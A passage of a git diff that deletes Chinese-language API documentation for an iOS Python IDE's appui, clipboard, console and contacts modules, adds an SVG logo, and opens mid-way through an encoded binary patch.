z0pc(NQzkkdhm&MOo7WC~kB-*~i}7QXyH)$EyH4FRM5Tp7?XC5dq3Q%Mg?(l_DM#s8 zL8JQ^G6HsO*Q=}H*okfq?D%Yi)Q z@FGe(TViHj_nd@^r$T2>6Me-D?HaCaoPgLnf%j15{89}U64x0Vm8OC+k*%vTxX_0A zhSO)$UBm16_JhpH$v)(q&NyBldthC|qdO$Ky$~LDI;3*E3~oL~&oni@-AVzjt}hT! zKCN?()Lmy{LN=ppRyg82!#1Y8fu#!Q7$64g7~Cf>8r*ldI=2#9Q(ceo4SAd;ok`?z zSLlN_TQ#i{yb#r7rHo(}d^6bMNFL`z2w#GdqM+m(`|EH8NZ_<`W2Q}oHlc1!JGfq1 zL}4wb$qjcmTGI+=sDfruA)tYEYd{J+v@Yw!%4y8{<%(qk=%oIvD5I>84d?U>Vf44B z+su-j-~z^CY8NLhg>s9|02aAe5)7>=J=I_m-fIo(f7{1uXo?j)qqr^>s)XLQpR9-G zHI>Co&<_zY(|fvs6b>k92AAW3o_UCCKJX~@Bf5%Ee7tv5qWXM{8!~zv1xbGG%H$Ol zqQmh@5aSRgN1sHt>P3%KmFiIfNQ&~!a6h+cRYVt=t*;JO%ZOEg)WlO!nj0QQx83En ziYL3w)Jt1Jn&v=#fwrRai(?0lR>*y2aP#P{%aD>|Gs=0rNs8n+L+vk+4DlfBIhJ}f zlcCF$HEb$>I%L&nK8Cg3(u0wRBa*XDXF6Q;1>FO?xoP9?_OM*sT8?@6V(_cVjMB`{ zJ{NsCcMtwY!Eqn9+2V9%)+iGYM3CZfx{m^mb&4#5S{0zetXsc@&#r$u64oT%y8HE- zZ;nK_t3x@Ayg2}q4bs%u%i-6RSOAd%EeJ6e?3VYh|4O>Gq5!PdRFwVDj`h}uza)-h zTyIr$NfkzCIF-ppJDw>dO!@b)%5b&cJKXS%-wDLNp0s-^LDnrTd;Ss0OkcL6h zlb#ZEdkJNbQoGmav#RKZ49={QKFKME^mq|SW)`-}FV^L<%up%Y1BcD}F0e{${UNH} z&CiBX-DnW9;Lk=LPqU7MRjxS(b5vC+LzFG>Ir26|>#X=q3l(ffsKVZEGmngfix=#FyWs^o9ChYcrb3OSdSj?PHV>7X^=TKe08k z?s3!3DvpbHRhLfYo*ezVKm!Sm(&;@sY<1?Y3SANf>`71aSIDrVNau-7{!vjw*2ZN~Oo?5$2M4D!wV%`1as(oLOn zI#djlj+JlMv!c&tRv>A9%5QSk#1-#FY6&M zHn)46_wA{1a|A!7Gv)di`co-@f#aBn778A%0fy=vm=QxefQwc(0E_}Kp~;bXKF7~HZp~*wD9QC zT4zfRioD#O6TjG9yxW)=`5mSVAr#nC;lP@s4cQB_eN+e{5cUciu>0nk)H&Pe-1LJw zt?7mfSAzKauN$2wLFrumz+@Hz87mWuzhKpEmNhn9BWh2NDD|*FJEm^eo3v+8Gi^)K zqaK)D!)WiJ+uMeVnPrYy!=y*9xEL}b0K4}3%u<*&(`Ra+4X z5XYV}j*0e(*$R#cKW)g$HptDV#A~|DF|aS*G~J$n^mMhLM?`x}TEQ5%!!4Bd0!nKI zBp0SO3r|Fi*{D}MNvHnc1JbYzD#i}1it6A1XodgkQglOzUQS!{odmNHBq#3VZ@)KOPHBU9?_-!kCFX-hd)ES_51YR*JIv`m;e6o zUk{I7dGr|NB`fql9Yj)bQ~SR?r~iAkzkj$r^>*Ehx;p>ELFze<|HId3UjK8>KhNNg z(f?xy|2%{LB|G?XyS?GenX8PNY7d_N6Sw|-()q{#{_(&6CI9=!=l=1zKM3?6JNV}r l{9^}yC!GJ^_`fy6D{|7RJ;nn~E diff --git a/docs/appui-module.md b/docs/appui-module.md deleted file mode 100644 index 858c519..0000000 --- a/docs/appui-module.md +++ /dev/null @@ -1,253 +0,0 @@ -# appui 模块 — 声明式原生 UI(SwiftUI 风格) - -`appui` 是 Python IDE 提供的 **声明式 UI 框架**:用 Python 描述界面结构(栈、列表、表单、导航等),底层由 **SwiftUI** 渲染,适合快速搭建设置页、简单工具界面、原型等场景。 - -> **与内置帮助一致**:应用内 **设置 → 帮助 → 模块与原生能力指南 → appui — 声明式 UI 框架** 中有与本文同步的速查示例。 - ---- - -## 与 `ui` 模块的区别 - -| 维度 | `ui` 模块 | `appui` 模块 | -|------|-----------|--------------| -| **风格** | Pythonista 兼容的 **UIKit 命令式** API | **声明式** DSL,接近 SwiftUI | -| **典型用法** | `ui.View`、`present()`、`load_view`、手势、自定义 `draw` | `appui.VStack`、`appui.run()`、链式 **修饰符** | -| **状态** | 手动更新控件属性 | `appui.State` **响应式**,改属性可触发界面刷新 | -| **坐标** | 左上角原点,`y` 向下 | 由布局容器与修饰符管理,不写绝对 frame 也能排版 | -| **兼容目标** | 与 Pythonista 脚本、老项目对齐 | 新项目、快速界面、SwiftUI 心智模型 | - -两者可同时存在于应用中,按场景选择:**复杂传统 UI / 兼容 Pythonista** 用 `ui`;**列表+表单+导航的现代布局** 可优先尝试 `appui`。 - ---- - -## 快速开始 - -```python -import appui - -state = appui.State(count=0) - -def increment(): - state.count += 1 - -def body(): - return appui.VStack([ - appui.Text(f"计数: {state.count}") - .font("title").bold(), - appui.Button("点击 +1", action=increment) - .button_style("bordered_prominent"), - ], spacing=20).padding() - -appui.run(body, state=state) -``` - ---- - -## 入口与展示 - -| API | 说明 | -|-----|------| -| `appui.run(body, state=..., presentation=...)` | 运行声明式界面;`body` 为无参函数,返回根视图 | -| `presentation` | `'sheet'` / `'fullscreen'` / `'fullscreen_with_close'` 等,控制模态样式 | - ---- - -## 布局容器 - -```python -# 垂直 / 水平 / 层叠 -appui.VStack(content, alignment, spacing) -appui.HStack(content, alignment, spacing) -appui.ZStack(content, alignment) - -# 滚动与网格 -appui.ScrollView(content, axes='vertical') -appui.LazyVGrid(columns=[appui.flexible()], content) - -# 列表与表单 -appui.List(content) -appui.Form([ - appui.Section(content, header="标题"), -]) -appui.ForEach(data, row_builder, key='id') -``` - -| 组件 | 用途 | -|------|------| -| `VStack` / `HStack` / `ZStack` | 线性或叠加布局 | -| `ScrollView` | 可滚动内容 | -| `LazyVGrid` + `flexible()` | 自适应列网格 | -| `List` | 列表 | -| `Form` / `Section` | 分组表单 | -| `ForEach` | 由数据驱动多行 | - ---- - -## 导航与标签页 - -```python -# 导航栈 -appui.NavigationStack( - appui.VStack([...]) - .navigation_title("首页") -) -appui.NavigationLink("详情", destination=detail()) - -# 底部标签页 -appui.TabView([ - appui.Tab(title="首页", - system_image="house.fill", - content=home_view()), - appui.Tab(title="设置", - system_image="gearshape.fill", - content=settings_view()), -]) -``` - ---- - -## 基础视图与输入控件 - -**展示** - -- `appui.Text(...)` -- `appui.Image(system_name="star.fill")` — SF Symbol - -**输入** - -```python -appui.TextField("占位符", text=state.name, - on_change=lambda v: setattr(state, 'name', v)) -appui.SecureField("密码", text=state.pwd, ...) -appui.TextEditor(text=state.note, on_change=...) -appui.Toggle("开关", is_on=state.on, on_change=...) -appui.Slider(value=state.val, minimum=0, maximum=100) -appui.Picker("选择", selection=state.sel, - options=["A", "B", "C"], on_change=...) -appui.DatePicker("日期", selection=state.date) -``` - ---- - -## 修饰符(链式调用) - -声明式 API 通过 **返回 self** 的链式方法设置样式与行为: - -```python -appui.Text("Hello") - .font("title") - .bold() - .foreground_color("blue") - .padding(16) - .background("gray", corner_radius=12) - .frame(width=200, height=100) - .shadow(radius=4) - .on_tap(action) - .animation("spring") - -appui.Image(system_name="star.fill") - .font("system", size=48) - .resizable() - .aspect_ratio(content_mode='fit') - .foreground_color("orange") -``` - -常见修饰符包括:`font`、`bold`、`foreground_color`、`padding`、`background`、`frame`、`shadow`、`on_tap`、`animation` 等(以实际实现为准)。 - ---- - -## 状态管理 - -```python -# 响应式状态 — 属性变化会驱动 UI 更新 -state = appui.State(count=0, name='') -state.count += 1 - -# 不触发刷新的引用容器 -ref = appui.Ref(initial=None) - -# 计算属性(依赖变化时重算) -@appui.computed(state, depends_on=['count']) -def doubled(): - return state.count * 2 - -# 副作用(依赖变化时执行) -@appui.effect(state, depends_on=['name']) -def on_name_change(): - print(f"名字变为: {state.name}") -``` - -| 类型 | 作用 | -|------|------| -| `State` | 可观察状态,赋值后刷新依赖该状态的视图 | -| `Ref` | 可变引用,适合存放不需要触发整树刷新的对象 | -| `@computed` | 派生数据 | -| `@effect` | 依赖变更时的回调(日志、同步等) | - ---- - -## 手势与弹窗 - -```python -# 手势 -.on_tap(action) -.on_long_press(action, min_duration=0.5) -.on_drag(on_changed=..., on_ended=...) - -# 弹窗 -.alert("标题", message="内容", - is_presented=state.show_alert, - actions=[appui.Button("确定", action=ok)]) -.sheet(is_presented=state.show_sheet, - content=sheet_view()) -``` - -`appui.Button` 既可用在布局中,也可作为 `alert` 的 `actions`。 - ---- - -## 完整示例:计数器 + 多状态 - -```python -import appui - -state = appui.State(count=0, show_alert=False) - -def increment(): - state.count += 1 - -def body(): - return appui.NavigationStack( - appui.VStack([ - appui.Text(f"当前: {state.count}").font("title"), - appui.Button("+1", action=increment), - appui.Button("弹出提示", action=lambda: setattr(state, "show_alert", True)), - ], spacing=16) - .padding() - .navigation_title("Demo") - .alert( - "提示", - message="这是一个 alert 示例", - is_presented=state.show_alert, - actions=[appui.Button("好的", action=lambda: setattr(state, "show_alert", False))], - ) - ) - -appui.run(body, state=state, presentation='sheet') -``` - ---- - -## 注意事项 - -1. **线程**:UI 更新应在主线程/框架允许的上下文中进行(与 `ui` 模块相同,避免后台线程直接改 State)。 -2. **与 `scene` 坐标系无关**:`appui` 为屏幕 UI;2D 游戏请使用 `scene` 模块。 -3. **API 演进**:链式修饰符与控件名可能随版本增加,若 AI 助手或文档滞后,请以 **应用内「模块与原生能力指南」** 为准。 - ---- - -## 相关文档 - -- [ui 模块 — 原生 iOS 界面](ui-module.md)(Pythonista / UIKit) -- [scene 模块 — 2D 游戏引擎](scene-module.md) -- [widget 模块 — 桌面小组件](widget-module.md) diff --git a/docs/assets/brand-mark.svg b/docs/assets/brand-mark.svg new file mode 100644 index 0000000..42e16d1 --- /dev/null +++ b/docs/assets/brand-mark.svg @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/docs/clipboard-module.md b/docs/clipboard-module.md deleted file mode 100644 index 11ed970..0000000 --- a/docs/clipboard-module.md +++ /dev/null @@ -1,56 +0,0 @@ -# clipboard 模块 — 系统剪贴板 - -Pythonista 兼容的剪贴板模块,直接通过 ObjC 运行时访问 iOS 系统剪贴板(UIPasteboard)。 - -## 完整 API - -### get() → str -获取剪贴板中的文字内容。没有内容时返回空字符串。 - -```python -import clipboard -text = clipboard.get() -print(f'剪贴板内容:{text}') -``` - -### set(text: str) → None -将字符串写入剪贴板。 - -```python -clipboard.set('Hello, World!') -``` - -### clear() → None -清空剪贴板(等同于 `set('')`)。 - -```python -clipboard.clear() -``` - -### 兼容别名 -- `get_text()` — 等同于 `get()` -- `set_text(text)` — 等同于 `set(text)` - -## 完整示例 -```python -import clipboard - -# 读取剪贴板 -old = clipboard.get() -print(f'之前的内容:{old}') - -# 写入新内容 -clipboard.set('Python IDE 是最好的 iOS 编程 App!') - -# 验证 -print(f'现在的内容:{clipboard.get()}') - -# 清空 -clipboard.clear() -print(f'清空后:"{clipboard.get()}"') -``` - -## 注意事项 -- 仅支持文本内容的读写 -- 底层通过 ctypes 直接调用 UIPasteboard,无需额外依赖 -- `get()` 返回空字符串而非 None(即使剪贴板为空) diff --git a/docs/console-module.md b/docs/console-module.md deleted file mode 100644 index 1539ad9..0000000 --- a/docs/console-module.md +++ /dev/null @@ -1,328 +0,0 @@ -# console 模块 — 完整 API 参考 - -> Pythonista 兼容控制台交互模块。 -> 提供原生 UIAlertController 弹窗、HUD 提示、控制台文本样式和清屏功能。 -> 所有弹窗阻塞调用线程直到用户响应,匹配 Pythonista 的同步 API 行为。 - ---- - -## 目录 - -- [快速开始](#快速开始) -- [弹窗函数](#弹窗函数) - - [alert()](#alert) - - [input_alert()](#input_alert) - - [login_alert()](#login_alert) - - [password_alert()](#password_alert) - - [hud_alert()](#hud_alert) -- [控制台格式](#控制台格式) - - [set_color()](#set_color) - - [set_font()](#set_font) - - [clear()](#clear) - - [write_link()](#write_link) -- [与其他模块组合使用](#与其他模块组合使用) -- [完整示例](#完整示例) - ---- - -## 快速开始 - -```python -import console - -# 弹出原生确认框 -choice = console.alert('确认', '是否继续?', '继续', '取消') - -# 输入文本 -name = console.input_alert('姓名', '请输入你的名字') - -# HUD 提示 -console.hud_alert('操作成功 ✓') - -# 彩色输出 -console.set_color(1.0, 0.0, 0.0) # 红色 -print('这是红色文字') -console.set_color() # 重置 -``` - ---- - -## 弹窗函数 - -所有弹窗使用原生 `UIAlertController` 实现,阻塞当前线程直到用户响应。 -用户点击 Cancel 时抛出 `KeyboardInterrupt`。 - -### alert() - -```python -console.alert(title, message='', button1='OK', button2='', button3='', - hide_cancel_button=False) -``` - -显示模态弹窗,最多 3 个自定义按钮 + Cancel。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `title` | str | 必填 | 弹窗标题 | -| `message` | str | `''` | 弹窗消息体 | -| `button1` | str | `'OK'` | 第 1 个按钮标题 | -| `button2` | str | `''` | 第 2 个按钮标题(空则不显示) | -| `button3` | str | `''` | 第 3 个按钮标题(空则不显示) | -| `hide_cancel_button` | bool | `False` | 是否隐藏 Cancel 按钮 | - -**返回值**:按钮索引(1-based)。Cancel 抛出 `KeyboardInterrupt`。 - -```python -try: - idx = console.alert('删除文件?', '此操作不可恢复', '删除', '保留') - if idx == 1: - print('用户选择删除') - elif idx == 2: - print('用户选择保留') -except KeyboardInterrupt: - print('用户取消') -``` - -### input_alert() - -```python -console.input_alert(title, message='', input_text='', - ok_button_title='OK', hide_cancel_button=False) -``` - -带文本输入框的弹窗。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `title` | str | 必填 | 标题 | -| `message` | str | `''` | 消息 | -| `input_text` | str | `''` | 输入框默认文本 | -| `ok_button_title` | str | `'OK'` | 确认按钮标题 | -| `hide_cancel_button` | bool | `False` | 是否隐藏 Cancel | - -**返回值**:用户输入的文本(str)。Cancel 抛出 `KeyboardInterrupt`。 - -```python -try: - name = console.input_alert('姓名', '请输入你的名字', '张三') - print(f'你好, {name}!') -except KeyboardInterrupt: - print('已取消') -``` - -### login_alert() - -```python -console.login_alert(title, message='', login='', password='', - ok_button_title='OK') -``` - -登录弹窗,含用户名和密码两个输入框(密码框为安全文本)。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `title` | str | 必填 | 标题 | -| `message` | str | `''` | 消息 | -| `login` | str | `''` | 用户名默认值 | -| `password` | str | `''` | 密码默认值 | -| `ok_button_title` | str | `'OK'` | 确认按钮标题 | - -**返回值**:`(username, password)` 元组。Cancel 抛出 `KeyboardInterrupt`。 - -```python -try: - user, pw = console.login_alert('登录', '请输入服务器凭据') - print(f'用户: {user}') -except KeyboardInterrupt: - print('已取消登录') -``` - -### password_alert() - -```python -console.password_alert(title, message='', password='', - ok_button_title='OK') -``` - -密码输入弹窗(安全文本框,内容不可见)。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `title` | str | 必填 | 标题 | -| `message` | str | `''` | 消息 | -| `password` | str | `''` | 默认密码 | -| `ok_button_title` | str | `'OK'` | 确认按钮标题 | - -**返回值**:用户输入的密码(str)。Cancel 抛出 `KeyboardInterrupt`。 - -```python -try: - pw = console.password_alert('授权', '请输入管理员密码') -except KeyboardInterrupt: - print('已取消') -``` - -### hud_alert() - -```python -console.hud_alert(message, icon='', duration=1.5) -``` - -显示一个短暂的 HUD 覆盖提示,自动消失。不阻塞。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `message` | str | 必填 | 提示文本 | -| `icon` | str | `''` | 可选 emoji 或图标 | -| `duration` | float | `1.5` | 显示时长(秒) | - -```python -console.hud_alert('已保存 ✓', duration=2.0) -console.hud_alert('下载完成', icon='📦') -``` - ---- - -## 控制台格式 - -### set_color() - -```python -console.set_color(r, g, b) # 设置颜色 -console.set_color() # 重置为默认颜色 -``` - -设置后续 `print()` 输出的文本颜色。 - -| 参数 | 类型 | 范围 | 说明 | -|------|------|------|------| -| `r` | float | 0.0–1.0 | 红色分量 | -| `g` | float | 0.0–1.0 | 绿色分量 | -| `b` | float | 0.0–1.0 | 蓝色分量 | - -无参数调用时重置为默认颜色。 - -```python -console.set_color(1, 0, 0) # 红色 -print('错误信息') -console.set_color(0, 0.8, 0) # 绿色 -print('成功信息') -console.set_color() # 重置 -``` - -### set_font() - -```python -console.set_font(name, size) # 设置字体 -console.set_font() # 重置 -``` - -设置控制台字体。iOS 上主要影响文字粗细(size > 16 显示粗体)。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `name` | str | 字体名称(信息性) | -| `size` | float | 字号;> 16 使用粗体 | - -### clear() - -```python -console.clear() -``` - -清空控制台输出。 - -### write_link() - -```python -console.write_link(title, url='', font=None) -``` - -在控制台输出一个可点击的超链接。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | str | 链接显示文本 | -| `url` | str | 目标 URL | -| `font` | tuple | 可选 `(font_name, size)` 元组 | - -```python -console.write_link('打开 GitHub', 'https://github.com') -``` - ---- - -## 与其他模块组合使用 - -### console + keychain(安全存储 API Key) - -```python -import console -import keychain - -api_key = keychain.get_password('openai', 'api_key') -if not api_key: - api_key = console.input_alert('API Key', '请输入 OpenAI API Key') - keychain.set_password('openai', 'api_key', api_key) - -console.hud_alert('API Key 已就绪 ✓') -``` - -### console + sound(游戏提示) - -```python -import console -import sound - -try: - name = console.input_alert('玩家', '输入你的名字') - sound.play_effect('ui:click1') - console.hud_alert(f'欢迎, {name}!') -except KeyboardInterrupt: - pass -``` - ---- - -## 完整示例 - -### 交互式笔记本 - -```python -import console - -console.clear() -console.set_color(0.2, 0.6, 1.0) -print('=== 我的笔记本 ===') -console.set_color() - -notes = [] - -while True: - try: - choice = console.alert('操作', '', '添加笔记', '查看全部', '清空') - except KeyboardInterrupt: - break - - if choice == 1: - try: - note = console.input_alert('新笔记', '输入内容') - notes.append(note) - console.hud_alert(f'已添加(共 {len(notes)} 条)') - except KeyboardInterrupt: - pass - elif choice == 2: - if notes: - for i, n in enumerate(notes, 1): - console.set_color(0.8, 0.8, 0.2) - print(f'{i}. {n}') - console.set_color() - else: - console.hud_alert('暂无笔记') - elif choice == 3: - notes.clear() - console.clear() - console.hud_alert('已清空') - -console.hud_alert('退出笔记本') -``` diff --git a/docs/contacts-module.md b/docs/contacts-module.md deleted file mode 100644 index cca6e63..0000000 --- a/docs/contacts-module.md +++ /dev/null @@ -1,724 +0,0 @@ -# contacts 模块 — iOS 通讯录、分组与系统联系人界面 - -面向 Pythonista `contacts` API 的兼容实现,用于在嵌入式 Python 环境中访问 iOS 通讯录、分组、容器,以及调用系统联系人选择器、详情页、编辑页、vCard 导入导出与变更历史。 - -底层通过主程序导出的 C 符号(`ctypes.CDLL(None)`)与 Swift `Contacts` / `ContactsUI` 层通信,在保留 `Person` / `Group` / `save()` / `revert()` 经典工作流的同时,补充了 Pythonista 原版没有的现代 iOS 能力。 - -实现文件:`pyboot/contacts.py`。 - ---- - -## 兼容性与边界 - -**已兼容的 Pythonista 风格能力:** - -- `Person` / `Group` -- `get_all_people()` / `get_person()` / `find()` -- `add_person()` / `remove_person()` -- `get_all_groups()` / `get_group()` / `add_group()` / `remove_group()` -- `save()` / `revert()` -- `localized_label()` - -**比 Pythonista 更强的增强能力:** - -- 容器(`Container`)访问 -- 系统联系人选择器和属性选择器 -- 系统联系人详情页 / 编辑页 / 新建页 -- `find_by_phone()` / `find_by_email()` -- vCard 导入导出 -- 通讯录 change history 增量变更历史 -- iOS 18+ limited contacts access 管理 - -**当前明确限制:** - -- `get_me()` 目前返回 `None`,`capabilities()['supports_me_card']` 为 `False` -- `note` 字段接口存在,但当前 `capabilities()['supports_notes']` 为 `False` -- `creation_date` / `modification_date` 当前通常为 `None` - ---- - -## 常量 - -### `PERSON = 0` - -个人联系人。 - -### `ORGANIZATION = 1` - -组织联系人。 - ---- - -## 权限与能力 - -### `authorization_status()` → `str` - -返回当前通讯录权限状态: - -- `'not_determined'` -- `'restricted'` -- `'denied'` -- `'authorized'` -- `'limited'`(仅 iOS 18+) - ---- - -### `capabilities()` → `dict` - -返回模块能力表。常见键包括: - -| 键 | 说明 | -|------|------| -| `authorization_status` | 当前权限状态字符串。 | -| `supports_groups` | 是否支持分组。 | -| `supports_containers` | 是否支持容器。 | -| `supports_vcards` | 是否支持 vCard 导入导出。 | -| `supports_change_history` | 是否支持通讯录变更历史。 | -| `supports_me_card` | 当前为 `False`。 | -| `supports_notes` | 当前为 `False`。 | -| `supports_contact_picker_without_authorization` | 无需整库授权即可弹系统联系人选择器。 | -| `supports_contact_property_picker` | 是否支持属性级选择器。 | -| `supports_contact_view_controller` | 是否支持系统联系人详情页。 | -| `supports_contact_editor` | 是否支持系统联系人编辑页。 | -| `supports_contact_creator` | 是否支持系统新建联系人页。 | -| `supports_limited_access` | iOS 18+ 时为 `True`。 | - ---- - -### `is_authorized()` → `bool` - -若当前状态可读取通讯录,返回 `True`。 - -在 iOS 18+ 上,`limited` 也会视为可读。 - ---- - -### `request_access()` → `bool` - -请求通讯录权限。 - -- 成功授权:返回 `True` -- 用户拒绝:返回 `False` - ---- - -### `localized_label(label)` → `str` - -将原生 label(例如 `_$!!$_`)本地化为系统展示字符串。 - ---- - -## 联系人读取与搜索 - -### `get_all_people(limit=0, offset=0, container=None)` → `list[Person]` - -读取联系人列表。 - -| 参数 | 说明 | -|------|------| -| `limit` | `0` 表示不限制。 | -| `offset` | 偏移量,用于分页。 | -| `container` | `Container` 对象、容器 `identifier`,或 `None`。 | - ---- - -### `get_person(person_or_id, include_image_data=False, include_vcard=False)` → `Person | None` - -按联系人引用读取单个联系人。 - -`person_or_id` 可为: - -- `Person` -- 兼容整数 `id` -- 原生字符串 `identifier` - -`include_image_data=True` 或 `include_vcard=True` 时,会在原生层一并取回附加数据。 - ---- - -### `get_me()` → `Person | None` - -当前实现返回 `None`。iOS 公共 Contacts API 未提供稳定的 My Card 读取能力。 - ---- - -### `find(name)` → `list[Person]` - -按姓名搜索联系人。 - -实现上会优先返回更接近 Pythonista 行为的前缀匹配结果;若没有前缀命中,则回退到系统搜索结果。 - ---- - -### `find_by_phone(phone)` → `list[Person]` - -按手机号搜索联系人。 - ---- - -### `find_by_email(email)` → `list[Person]` - -按邮箱地址搜索联系人。 - ---- - -## 写入事务 - -### `add_person(person=None)` → `Person` - -将联系人加入待保存队列。 - -- `person is None`:创建一个新的空联系人 -- 传入现有未保存 `Person`:直接加入事务 - ---- - -### `remove_person(person)` → `None` - -将联系人标记为待删除。 - -若该联系人本轮事务中刚创建但尚未 `save()`,则会直接从待保存队列移除。 - ---- - -### `save()` → `bool` - -提交当前所有待处理事务。 - -一次 `save()` 中会合并: - -- 新建联系人 -- 更新联系人 -- 删除联系人 -- 新建分组 -- 更新分组 -- 删除分组 -- 分组成员增删 - -支持在**同一轮 `save()`** 中: - -- 新建联系人 -- 新建分组 -- 再把这个新联系人加入这个新分组 - -提交成功返回 `True`。 - ---- - -### `revert()` → `None` - -丢弃所有未保存改动,并将已跟踪的 `Person` / `Group` 对象恢复到保存前快照。 - ---- - -## 分组与容器 - -### `get_all_groups(container=None)` → `list[Group]` - -读取所有分组。 - -`container` 可为: - -- `Container` -- 容器 `identifier` -- `None` - ---- - -### `get_group(group_or_id)` → `Group | None` - -按 `Group` / 兼容 `id` / 原生 `identifier` 读取单个分组。 - ---- - -### `add_group(group=None)` → `Group` - -新建分组或将分组加入待保存队列。 - -支持: - -- `add_group()` -- `add_group("客户")` -- `add_group(existing_group)` - ---- - -### `remove_group(group)` → `None` - -将分组标记为待删除。 - ---- - -### `get_all_containers()` → `list[Container]` - -读取所有容器,例如本地、iCloud、Exchange、CardDAV 等来源。 - ---- - -### `get_default_container()` → `Container | None` - -读取默认容器。 - ---- - -### `get_people_in_group(group)` → `list[Person]` - -读取某个分组下的所有联系人。 - ---- - -### `get_people_in_container(container)` → `list[Person]` - -读取某个容器下的联系人。 - ---- - -### `get_groups_in_container(container)` → `list[Group]` - -读取某个容器下的分组。 - ---- - -## 系统 UI 能力 - -### `pick_contact(multi=False)` → `Person | list[Person] | None` - -弹出系统联系人选择器。 - -| 行为 | 说明 | -|------|------| -| `multi=False` | 返回单个 `Person` 或 `None`。 | -| `multi=True` | 返回 `list[Person]`;取消时返回 `[]`。 | - -该选择器支持在没有整本通讯录读取权限时工作。 - ---- - -### `pick_contacts()` → `list[Person]` - -等价于 `pick_contact(multi=True)`。 - ---- - -### `pick_property(kind='phone', multi=False)` → `PropertySelection | list[PropertySelection] | None` - -弹出系统联系人属性选择器。 - -支持的 `kind`: - -- `'phone'` -- `'email'` -- `'address'` / `'postal'` -- `'url'` -- `'relation'` / `'related_name'` / `'related_names'` -- `'social'` / `'social_profile'` -- `'im'` / `'instant_message'` - -| 行为 | 说明 | -|------|------| -| `multi=False` | 返回单个 `PropertySelection` 或 `None`。 | -| `multi=True` | 返回 `list[PropertySelection]`;取消时返回 `[]`。 | - ---- - -### `show_person(person, allows_editing=True, allows_actions=True, displayed_property_keys=None, property_key=None, property_identifier=None, should_show_linked_contacts=False)` → `Person | None` - -打开系统联系人详情页。 - -可用于: - -- 展示联系人卡片 -- 高亮某个属性 -- 限制显示的属性字段 - -若传入的是尚未保存的新 `Person`,会自动走新建联系人流程。 - ---- - -### `edit_person(person, **kwargs)` → `Person | None` - -打开系统联系人编辑页。 - -常见可选参数: - -- `allows_actions=True` -- `displayed_property_keys=None` -- `should_show_linked_contacts=False` - -保存后返回更新后的 `Person`;取消时返回 `None`。 - ---- - -### `new_person(seed=None, container=None, group=None)` → `Person | None` - -打开系统新建联系人页。 - -| 参数 | 说明 | -|------|------| -| `seed` | `Person`、`dict` 或 `None`,用于预填字段。 | -| `container` | 指定目标容器。 | -| `group` | 指定新建后加入的分组。 | - ---- - -## vCard 与变更历史 - -### `export_vcards(people)` → `bytes | None` - -将联系人导出为 vCard 二进制数据。 - -`people` 中每一项可为: - -- `Person` -- 兼容整数 `id` -- 原生字符串 `identifier` - ---- - -### `import_vcards(data, container=None)` → `list[Person]` - -导入 vCard。 - -`data` 支持: - -- `bytes` -- `bytearray` -- 文件路径字符串 - -成功时返回导入后的 `Person` 列表。 - ---- - -### `get_change_history(token=None, include_group_changes=True, excluded_transaction_authors=None)` → `dict` - -读取通讯录变更历史。 - -返回结构: - -| 键 | 说明 | -|------|------| -| `events` | 变更事件数组。 | -| `token` | 下一次增量读取所需的二进制 token;无值时为 `None`。 | - -`token` 参数可传入: - -- 上次返回的 `bytes` -- Base64 字符串 - -常见事件类型: - -- `drop_everything` -- `add_contact` -- `update_contact` -- `delete_contact` -- `add_group` -- `update_group` -- `delete_group` -- `add_member_to_group` -- `remove_member_from_group` -- `add_subgroup_to_group` -- `remove_subgroup_from_group` - -可选参数: - -- `include_group_changes=True` -- `excluded_transaction_authors=['pythonide.contacts']` - ---- - -### `manage_limited_access()` → `list[str]` - -在 iOS 18+ 上打开 limited contacts access 管理界面,返回用户新选择的联系人 `identifier` 列表。 - -不支持的系统版本上会报错或无效,应先检查 `capabilities()['supports_limited_access']`。 - ---- - -## `Person` 类 - -`Person` 表示联系人对象。可直接读写字段,修改只会写入内存,需调用 `save()` 才会真正提交到系统通讯录。 - -### 标识与类型 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `id` | `int` | Pythonista 兼容别名。 | -| `identifier` | `str | None` | iOS 原生联系人标识。 | -| `kind` | `int` | `PERSON` 或 `ORGANIZATION`。 | -| `contact_type` | `str` | `'person'` 或 `'organization'`。 | -| `deleted` | `bool` | 是否已标记删除。 | - -### 姓名与组织字段 - -| 属性 | -|------| -| `prefix` | -| `first_name` | -| `middle_name` | -| `last_name` | -| `previous_last_name` | -| `suffix` | -| `nickname` | -| `organization` | -| `department` | -| `job_title` | -| `phonetic_first_name` | -| `phonetic_middle_name` | -| `phonetic_last_name` | -| `phonetic_organization` | -| `full_name` | - -`full_name` 为模块维护的展示名称;优先使用原生格式化结果。 - -### 多值字段格式 - -#### `phone` - -```python -[ - ('mobile', '13800138000'), - ('work', '010-12345678'), -] -``` - -#### `email` - -```python -[ - ('home', 'alice@example.com'), - ('work', 'alice@company.com'), -] -``` - -#### `address` - -```python -[ - ('home', { - 'street': '中山路 1 号', - 'city': '上海', - 'state': '上海', - 'zip': '200000', - 'country': '中国', - 'country_code': 'CN', - }) -] -``` - -#### `url` - -```python -[ - ('homepage', 'https://example.com') -] -``` - -#### `related_names` - -```python -[ - ('spouse', 'Alice'), - ('manager', 'Bob'), -] -``` - -#### `social_profile` - -```python -[ - ('social', { - 'service': 'Twitter', - 'username': 'alice', - 'user_identifier': '123456', - 'url': 'https://x.com/alice', - }) -] -``` - -#### `instant_message` - -```python -[ - ('qq', { - 'username': '12345678', - 'service': 'QQ', - }) -] -``` - -#### `dates` - -```python -[ - ('anniversary', { - 'year': 2024, - 'month': 10, - 'day': 1, - }) -] -``` - -### 日期字段 - -| 属性 | 说明 | -|------|------| -| `birthday` | `dict | None`,如 `{'year': 1990, 'month': 8, 'day': 12}` | -| `non_gregorian_birthday` | 非公历生日 `dict | None` | -| `dates` | 多值日期字段列表 | -| `creation_date` | 当前通常为 `None` | -| `modification_date` | 当前通常为 `None` | - -日期字典可能包含: - -- `era` -- `year` -- `month` -- `day` -- `hour` -- `minute` -- `second` -- `is_leap_month` -- `calendar_identifier` -- `time_zone` - -### 图片与 vCard - -| 属性 | 类型 | 说明 | -|------|------|------| -| `has_image` | `bool` | 是否有头像。 | -| `image_data_available` | `bool` | 